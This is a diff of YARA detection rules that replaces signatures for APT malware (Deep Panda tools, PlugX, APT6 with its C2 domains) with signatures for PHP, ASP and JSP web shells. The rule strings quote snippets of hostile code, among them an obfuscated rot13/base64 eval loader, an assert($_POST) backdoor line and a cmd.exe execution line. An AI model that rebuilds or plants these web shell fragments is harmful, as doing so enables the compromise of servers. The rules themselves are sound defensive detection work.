+		hash = "bed7388976f8f1d90422e8795dff1ea6"
+		logic_hash = "1f0fc5e309dd67a11d6ba9b698fd9ca3c7e6616545c220de79aaa3b63f0ad931"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "76c586e89c30a97e583c40ebe3f4ba75d5e02e52959184c4ce0a46b3aac54edd"
-		hash2 = "7b73bf2d80a03eb477242967628da79924fbe06cc67c4dcdd2bdefccd6e0e1af"
-		hash3 = "981e2fa1ae4145359036b46e8b53cc5da37dd2311204859761bd91572f025e8a"
 
 	strings:
-		$s0 = "-GetModuleFileNameExW" fullword ascii
-		$s1 = "\\MSN Talk Start.lnk" wide
-		$s2 = ":SeDebugPrivilege" fullword wide
-		$s3 = "WinMM Version 1.0" fullword wide
-		$s4 = "dwError1 = %d" fullword ascii
-		$s5 = "*Can't Get" fullword wide
+		$s0 = "Http://code.google.com/p/b374k-shell" fullword
+		$s1 = "$_=str_rot13('tm'.'vas'.'yngr');$_=str_rot13(strrev('rqb'.'prq'.'_'.'46r'.'fno'"
+		$s3 = "Jayalah Indonesiaku & Lyke @ 2013" fullword
+		$s4 = "B374k Vip In Beautify Just For Self" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Unit78020_Malware_Gen3 : FILE
+rule SIGNATURE_BASE_Webshell_Cmd_Asp_5_1
 {
 	meta:
-		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule - Chong"
+		description = "Web Shell - file cmd-asp-5.1.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e26f386e-e98c-5005-9343-1873d2e35a1f"
-		date = "2015-09-24"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unit78020_malware.yar#L103-L132"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "304b3f429e144f1f4b0f7794e77f3059ec6b3e5c6fdf4c7b820a77db1cf8cfcb"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L667-L680"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8baa99666bf3734cbdfdd10088e0cd9f"
+		logic_hash = "1ff4ae8c08cec4605594e97d6c077d4808d3a73c04ddf6a51952252dd2d01cf4"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "2625a0d91d3cdbbc7c4a450c91e028e3609ff96c4f2a5a310ae20f73e1bc32ac"
-		hash2 = "5c62b1d16e6180f22a0cb59c99a7743f44cb4a41e4e090b9733d1fb687c8efa2"
 
 	strings:
-		$x1 = "GET http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
-		$x2 = "POST http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
-		$x3 = "J:\\chong\\" ascii
-		$s1 = "User-Agent: Netscape" fullword ascii
-		$s2 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/20100719 Firefox/1.0.7" fullword ascii
-		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\explorer\\User Shell Folders" fullword wide
-		$s4 = "J:\\chong\\nod\\Release\\SslMM.exe" fullword ascii
-		$s5 = "MM.exe" fullword ascii
-		$s6 = "network.proxy.ssl" fullword wide
-		$s7 = "PeekNamePipe" fullword ascii
-		$s8 = "Host: %ws:%d" fullword ascii
-		$s9 = "GET %dHTTP/1.1" fullword ascii
-		$s10 = "SCHANNEL.DLL" fullword ascii
+		$s9 = "Call oS.Run(\"win.com cmd.exe /c \"\"\" & szCMD & \" > \" & szTF &" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of ($x*)) or 4 of ($s*)
+		all of them
 }
-rule SIGNATURE_BASE_APT6_Malware_Sample_Gen : FILE
+rule SIGNATURE_BASE_Webshell_Php_Dodo_Zip
 {
 	meta:
-		description = "Rule written for 2 malware samples that communicated to APT6 C2 servers"
+		description = "Web Shell - file zip.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "142d2714-f7bf-5725-bf7e-9497be7ed234"
-		date = "2016-04-09"
-		modified = "2023-01-06"
-		reference = "https://otx.alienvault.com/pulse/56c4d1664637f26ad04e5b73/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt6_malware.yar#L8-L55"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "614a6673579630fc254d3c546161647e619df5a03ee6f21434d6cc50be1ed187"
-		score = 80
-		quality = 83
-		tags = "FILE"
-		hash1 = "321ec239bfa6927d39155ef5f10741ed786219489bbbb1dc8fee66e22f9f8e80"
-		hash2 = "7aef130b19d1f940e4c4cee6efe0f190f1402d2e0f741ee605c77518a04cb6d7"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L681-L695"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b7800364374077ce8864796240162ad5"
+		logic_hash = "bdeffafdedeadaba36c5c67f981c42d6111b954622780b930e9eeb9956c638b5"
+		score = 70
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x2 = "SPCK!it is a [(?riddle?) wrapped in a {mystery}] inside an <enigma>!" fullword ascii
-		$x3 = "636C7369643A46334430443336462D323346382D343638322D413139352D373443393242303344344146" fullword ascii
-		$s1 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" fullword ascii
-		$s2 = "DUMPTHIN" fullword ascii
-		$s3 = "\"C:\\WINDOWS\\system32\\" ascii
-		$s4 = "window.eval(f.decodeURIComponent(a));" fullword ascii
-		$s5 = "/tbedrs.dll" fullword ascii
-		$s6 = "NSISDL/1.2 (Mozilla)" fullword ascii
-		$s7 = "NSIS_Inetc (Mozilla)" fullword ascii
-		$s8 = "/logos.gif" fullword ascii
-		$s9 = "synflood" fullword ascii
-		$s10 = "IconFile=C:\\WINDOWS\\system32\\SHELL32.dll" fullword ascii
-		$s11 = "udpflood" fullword ascii
-		$s12 = "shellcode" fullword ascii
-		$s13 = "&PassWord=" fullword ascii
-		$s14 = "SystemPropertiesProtection.exe" fullword ascii
-		$s15 = "SystemPropertiesRemote.exe" fullword ascii
-		$c1 = "jobcall.org" ascii
-		$c2 = "sportsinfinite.com" ascii
-		$c3 = "milsatcom.us" ascii
-		$c4 = "geographicphotographer.com" ascii
-		$c5 = "snowsmooth.com" ascii
-		$c6 = "goodre.net" ascii
-		$c7 = "gloflabs.com" ascii
+		$s0 = "$hexdtime = '\\x' . $dtime[6] . $dtime[7] . '\\x' . $dtime[4] . $dtime[5] . '\\x"
+		$s3 = "$datastr = \"\\x50\\x4b\\x03\\x04\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and ((1 of ($x*) and 3 of ($s*)) or 1 of ($c*))) or (6 of them )
+		all of them
 }
-rule SIGNATURE_BASE_SUSP_NET_Msil_Suspicious_Use_Strreverse : FILE
+rule SIGNATURE_BASE_Webshell_Azrailphp_V1_0
 {
 	meta:
-		description = "Detects mixed use of Microsoft.CSharp and VisualBasic to use StrReverse"
-		author = "dr4k0nia, modified by Florian Roth"
-		id = "830dec40-4412-59c1-8b4d-a237f14acd30"
-		date = "2023-01-31"
-		modified = "2023-02-22"
-		reference = "https://github.com/dr4k0nia/yara-rules"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_net_msil.yar#L2-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "02ce0980427dea835fc9d9eed025dd26672bf2c15f0b10486ff8107ce3950701"
-		logic_hash = "a7440600ee4826568d465d204e0a602f61752e4ffcfa3b4f29e5bc81c4d67b46"
+		description = "Web Shell - file aZRaiLPhp v1.0.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L696-L710"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "26b2d3943395682e36da06ed493a3715"
+		logic_hash = "d0ccf9e37e378db4523d7918b30cff358115e7a4c36fad55a75f3aff218563c6"
 		score = 70
 		quality = 85
-		tags = "FILE"
-		version = "1.1"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = ", PublicKeyToken="
-		$a2 = ".NETFramework,Version="
-		$csharp = "Microsoft.CSharp"
-		$vbnet = "Microsoft.VisualBasic"
-		$strreverse = "StrReverse"
+		$s5 = "echo \" <font color='#0000FF'>CHMODU \".substr(base_convert(@fileperms($"
+		$s7 = "echo \"<a href='./$this_file?op=efp&fname=$path/$file&dismi=$file&yol=$path'><fo"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50MB and all of ($a*) and $csharp and $vbnet and $strreverse
+		all of them
 }
-rule SIGNATURE_BASE_APT_NK_Methodology_Artificial_Useragent_IE_Win7 : FILE
+rule SIGNATURE_BASE_Webshell_Php_List
 {
 	meta:
-		description = "Detects hard-coded User-Agent string that has been present in several APT37 malware families."
-		author = "Steve Miller aka @stvemillertime"
-		id = "a747c908-7af7-5c29-8386-a71db7648061"
-		date = "2023-12-05"
+		description = "Web Shell - file list.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt37.yar#L1-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "43119b83a7eaf3dade9477d342b5656970940e9b4f41b3ba5f720d7fbe927762"
-		score = 45
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L711-L726"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "922b128ddd90e1dc2f73088956c548ed"
+		logic_hash = "007f9307493bca71dcbdcf6ba6c45bf36899e8f636ccbd09c26453cb0aea0847"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "e63efbf8624a531bb435b7446dbbfc25"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
-		$a2 = {4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 57 4f 57 36 34 3b 20 54 72 69 64 65 6e 74 2f 37 2e 30 3b 20 72 76 3a 31 31 2e 30 29 20 6c 69 6b 65 20 47 65 63 6b 6f 00 00 00 00}
-		$fp1 = "Esumsoft" wide
-		$fp2 = "Acunetix" wide ascii
-		$fp3 = "TASER SYNC" ascii
+		$s1 = "// list.php = Directory & File Listing" fullword
+		$s2 = "    echo \"( ) <a href=?file=\" . $fichero . \"/\" . $filename . \">\" . $filena"
+		$s9 = "// by: The Dark Raver" fullword
 
 	condition:
-		uint16(0)==0x5A4D and all of ($a*) and not 1 of ($fp*)
+		1 of them
 }
-rule SIGNATURE_BASE_Aptgroupx_Plugxtrojanloader_Stringdecode
+rule SIGNATURE_BASE_Webshell_Ironshell
 {
 	meta:
-		description = "Rule to detect PlugX Malware"
-		author = "Jay DiMartino"
-		id = "c6017327-b44d-5b1d-95aa-6e1f9fbf5583"
-		date = "2023-12-05"
+		description = "Web Shell - file ironshell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://t.co/4xQ8G2mNap"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_plugx.yar#L2-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e5ab15b035bb0169864e687e5c26732dd5b8f5f184473a33e685f53699ce4acc"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L727-L741"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8bfa2eeb8a3ff6afc619258e39fded56"
+		logic_hash = "7e4916010a33383cfc3cbbcd5d575ac2f3a579220b66bd07e3121f3db30da66d"
+		score = 70
 		quality = 85
 		tags = ""
-		hash1 = "0535e8c300204e257f0fa57630f386e9fcc8e779"
-		hash2 = "088ebf9ccde958f32d11f4e7eb14f5332332f97d"
-		hash3 = "0c999d0bffa007e9e6b6fe593933b52f40c75b3d"
-		hash4 = "2f644e7131ec0a4f12ce04ba1e54d23856dbbfbf"
-		hash5 = "3be9148ad132ca342d5fbabea1119a175ef1df7c"
-		hash6 = "4c1ee94ec0e15491fc4f6b4095f67eee6309e62a"
-		hash7 = "587af7ce05e61d4c312d6bae12ea380116b08d7e"
-		hash8 = "5990efd83b5646a7ba419541d3a2c19260224ca3"
-		hash9 = "67970367c250c44a5feb263843cf45fd91336df5"
-		hash10 = "68f53f7188910a4cf67843aedd38c1523f1f2e7c"
-		hash11 = "962dc7e0ad37286df012f623423ac4182fe791ca"
-		hash12 = "aa0976906807af2e1b127608040aa3ef6e118a13"
-		hash13 = "b170d015e32b39fa4ac15f94d58e45e65cd16d6c"
-		hash14 = "c9b3d2cef3b34c7ee18fc2f60ff022965959613d"
-		hash15 = "cd425ce7f3e4a823d9027780e1b439759c4dc665"
-		hash16 = "d5e82513c6472d3826a22d9a15c05af8c0d33b58"
-		hash17 = "d9b32084f27ef13001060e1dcee8a1a9e95d89a6"
-		hash18 = "daa2d1cb9148b7ba5a86fa9ab593678e77c92672"
-		hash19 = "e2c098a95d1c1f0e29f207af9c5ffc5bd69a92ee"
-		hash20 = "ef8cf68dc3c80e9cb5a3fa0f92b544eab583812e"
-		hash21 = "f0fc0a4e4e0748464caa6a202d0083cd33458677"
-		hash22 = "fe1abe55529c1d6aa6b2a2f02d7e41ea58040feb"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$byte1 = { 8A [2-4] 8A [2-4] FF 05 00 30 00 10 [0-5] 2A [1-6] 80 [2-7] 02 [1-6] 88 0? }
-		$byte2 = { 8B [2-4] 8A [2-4] FF 05 00 30 00 10 [0-5] 2A [1-6] 80 [2-7] 02 [1-6] 88 0? }
+		$s4 = "print \"<form action=\\\"\".$me.\"?p=cmd&dir=\".realpath('.').\""
+		$s8 = "print \"<td id=f><a href=\\\"?p=rename&file=\".realpath($file).\"&di"
 
 	condition:
-		any of them
+		all of them
 }
-rule SIGNATURE_BASE_Deeppanda_Sl_Txt_Packed
+rule SIGNATURE_BASE_Webshell_Caidao_Shell_404
 {
 	meta:
-		description = "Hack Deep Panda - ScanLine sl-txt-packed"
+		description = "Web Shell - file 404.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7a335810-2bf9-5a0b-bef4-1bade65a0f00"
-		date = "2015-02-08"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_deeppanda.yar#L3-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34"
-		logic_hash = "37f875dcb2c920278c2625085c97a9dcce1907198409595a10e6a3fbce767f35"
-		score = 75
-		quality = 60
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L742-L755"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ee94952dc53d9a29bdf4ece54c7a7aa7"
+		logic_hash = "0743d18bc5066c96cca8cc0883971d3bc876e6c2fbb996e55b6930c715e07395"
+		score = 70
+		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Command line port scanner" fullword wide
-		$s1 = "sl.exe" fullword wide
-		$s2 = "CPports.txt" fullword ascii
-		$s3 = ",GET / HTTP/.}" fullword ascii
-		$s4 = "Foundstone Inc." fullword wide
-		$s9 = " 2002 Foundstone Inc." fullword wide
-		$s15 = ", Inc. 2002" fullword ascii
-		$s20 = "ICMP Time" fullword ascii
+		$s0 = "<?php $K=sTr_RepLaCe('`','','a`s`s`e`r`t');$M=$_POST[ice];IF($M==NuLl)HeaDeR('St"
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Deeppanda_Lot1
+rule SIGNATURE_BASE_Webshell_ASP_Aspydrv
 {
 	meta:
-		description = "Hack Deep Panda - lot1.tmp-pwdump"
+		description = "Web Shell - file aspydrv.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c72120a5-8637-580c-9856-e070dfb6df94"
-		date = "2015-02-08"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_deeppanda.yar#L24-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5d201a0fb0f4a96cefc5f73effb61acff9c818e1"
-		logic_hash = "92169a1288f30dc6008e1a8c9b2b700f878c90aa09634e36fea586e19657dbd1"
-		score = 75
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L756-L769"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "de0a58f7d1e200d0b2c801a94ebce330"
+		logic_hash = "a4a6205ace49778ddc421b0f0e65c576e2ffe40ce2ab84debb939d5324420405"
+		score = 70
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Unable to open target process: %d, pid %d" fullword ascii
-		$s1 = "Couldn't delete target executable from remote machine: %d" fullword ascii
-		$s2 = "Target: Failed to load SAM functions." fullword ascii
-		$s5 = "Error writing the test file %s, skipping this share" fullword ascii
-		$s6 = "Failed to create service (%s/%s), error %d" fullword ascii
-		$s8 = "Service start failed: %d (%s/%s)" fullword ascii
-		$s12 = "PwDump.exe" fullword ascii
-		$s13 = "GetAvailableWriteableShare returned an error of %ld" fullword ascii
-		$s14 = ":\\\\.\\pipe\\%s" fullword ascii
-		$s15 = "Couldn't copy %s to destination %s. (Error %d)" fullword ascii
-		$s16 = "dump logon session" fullword ascii
-		$s17 = "Timed out waiting to get our pipe back" fullword ascii
-		$s19 = "SetNamedPipeHandleState failed, error %d" fullword ascii
-		$s20 = "%s\\%s.exe" fullword ascii
+		$s3 = "<%=thingy.DriveLetter%> </td><td><tt> <%=thingy.DriveType%> </td><td><tt> <%=thi"
 
 	condition:
-		10 of them
+		all of them
 }
-rule SIGNATURE_BASE_Deeppanda_Htran_Exe
+rule SIGNATURE_BASE_Webshell_Jsp_Web
 {
 	meta:
-		description = "Hack Deep Panda - htran-exe"
+		description = "Web Shell - file web.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2a551e82-aff1-5a77-bc5e-d06e49dca8bc"
-		date = "2015-02-08"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_deeppanda.yar#L51-L70"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "38e21f0b87b3052b536408fdf59185f8b3d210b9"
-		logic_hash = "9ac5ddc53d3d5292acb3dcf68e66bc3f6ab4b8e61a71597dd84454adc516f95d"
-		score = 75
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L770-L783"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4bc11e28f5dccd0c45a37f2b541b2e98"
+		logic_hash = "ed0ace0ba5f8a9e763353c42e3e3a39da10596e8517aad33e5c5080b44e4d61a"
+		score = 70
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
-		$s2 = "\\Release\\htran.pdb" ascii
-		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
-		$s4 = "-tran  <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
-		$s8 = "======================== htran V%s =======================" fullword ascii
-		$s11 = "-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
-		$s15 = "[+] OK! I Closed The Two Socket." fullword ascii
-		$s20 = "-listen <ConnectPort> <TransmitPort>" fullword ascii
+		$s0 = "<%@page import=\"java.io.*\"%><%@page import=\"java.net.*\"%><%String t=request."
 
 	condition:
-		1 of them
+		all of them
 }
-rule SIGNATURE_BASE_Deeppanda_Trojan_Kakfum
+rule SIGNATURE_BASE_Webshell_Mysqlwebsh
 {
 	meta:
-		description = "Hack Deep Panda - Trojan.Kakfum sqlsrv32.dll"
+		description = "Web Shell - file mysqlwebsh.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a204f9cb-65f8-53ea-a4eb-d89112942073"
-		date = "2015-02-08"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_deeppanda.yar#L72-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0710edea973dce6f5feccf2e7e508cd5f65aa451e0bb5aca503778ffe2363401"
-		score = 75
-		quality = 60
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L784-L797"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "babfa76d11943a22484b3837f105fada"
+		logic_hash = "365d19c086b3bbb98cbe1e1ed1e7522ce98dc2614a39c747717c277cebef33d2"
+		score = 70
+		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ab58b6aa7dcc25d8f6e4b70a24e0ccede0d5f6129df02a9e61293c1d7d7640a2"
-		hash2 = "c6c3bb72896f8f0b9a5351614fd94e889864cf924b40a318c79560bbbcfa372f"
 
 	strings:
-		$s0 = "%SystemRoot%\\System32\\svchost.exe -k sqlserver" fullword ascii
-		$s1 = "%s\\sqlsrv32.dll" fullword ascii
-		$s2 = "%s\\sqlsrv64.dll" fullword ascii
-		$s3 = "%s\\%d.tmp" fullword ascii
-		$s4 = "ServiceMaix" fullword ascii
-		$s15 = "sqlserver" fullword ascii
+		$s3 = " <TR><TD bgcolor=\"<? echo (!$CONNECT && $action == \"chparam\")?\"#660000\":\"#"
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Windivert_Driver : FILE
+rule SIGNATURE_BASE_Webshell_Jspshell
 {
 	meta:
-		description = "Detects WinDivert User-Mode packet capturing driver"
+		description = "Web Shell - file jspShell.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "95e89577-bb5a-5391-9130-155746d4783f"
-		date = "2017-10-02"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://www.reqrypt.org/windivert.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_pua.yar#L1-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "db2933396e015e906114bd04f75a5b5caf0564494224f533a6e00c1fa5421568"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L798-L812"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0d5b5a17552254be6c1c8f1eb3a5fdc1"
+		logic_hash = "058ddd64b142cada7144b9befa81ada314b72e6f23524d98efcb10136c23ed33"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "33c657fa27b92cfcced66b331cfea7a880460a98cf037e4277faa1420fe59d1c"
-		hash2 = "9b834e8f9d117bf2c564a37434973dc0717270ebfac8d8251711905d18da3858"
-		hash3 = "5ef707ea68a9bd3a3e568793a0f7d66d166694801ada067d9ebac1d13e53153e"
-		hash4 = "df12afa691e529f01c75b3dd734f6b45bf1488dbf90ced218657f0d205bff319"
 
 	strings:
-		$s1 = "WinDivertDllEntry" fullword ascii
-		$s2 = "WinDivertHelperParseIPv4Address" fullword ascii
-		$s3 = "WinDivert (web: http://reqrypt.org/windivert.html)" fullword wide
+		$s0 = "<input type=\"checkbox\" name=\"autoUpdate\" value=\"AutoUpdate\" on"
+		$s1 = "onblur=\"document.shell.autoUpdate.checked= this.oldValue;"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and 1 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Apolmy_Privesc_Trojan : FILE
+rule SIGNATURE_BASE_Webshell_Dx_Dx
 {
 	meta:
-		description = "Apolmy Privilege Escalation Trojan used in APT Terracotta"
+		description = "Web Shell - file Dx.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2f3f496b-ebfe-5a6e-89ad-a24af6378fd7"
-		date = "2015-08-04"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_terracotta.yar#L11-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d7bd289e6cee228eb46a1be1fcdc3a2bd5251bc1eafb59f8111756777d8f373d"
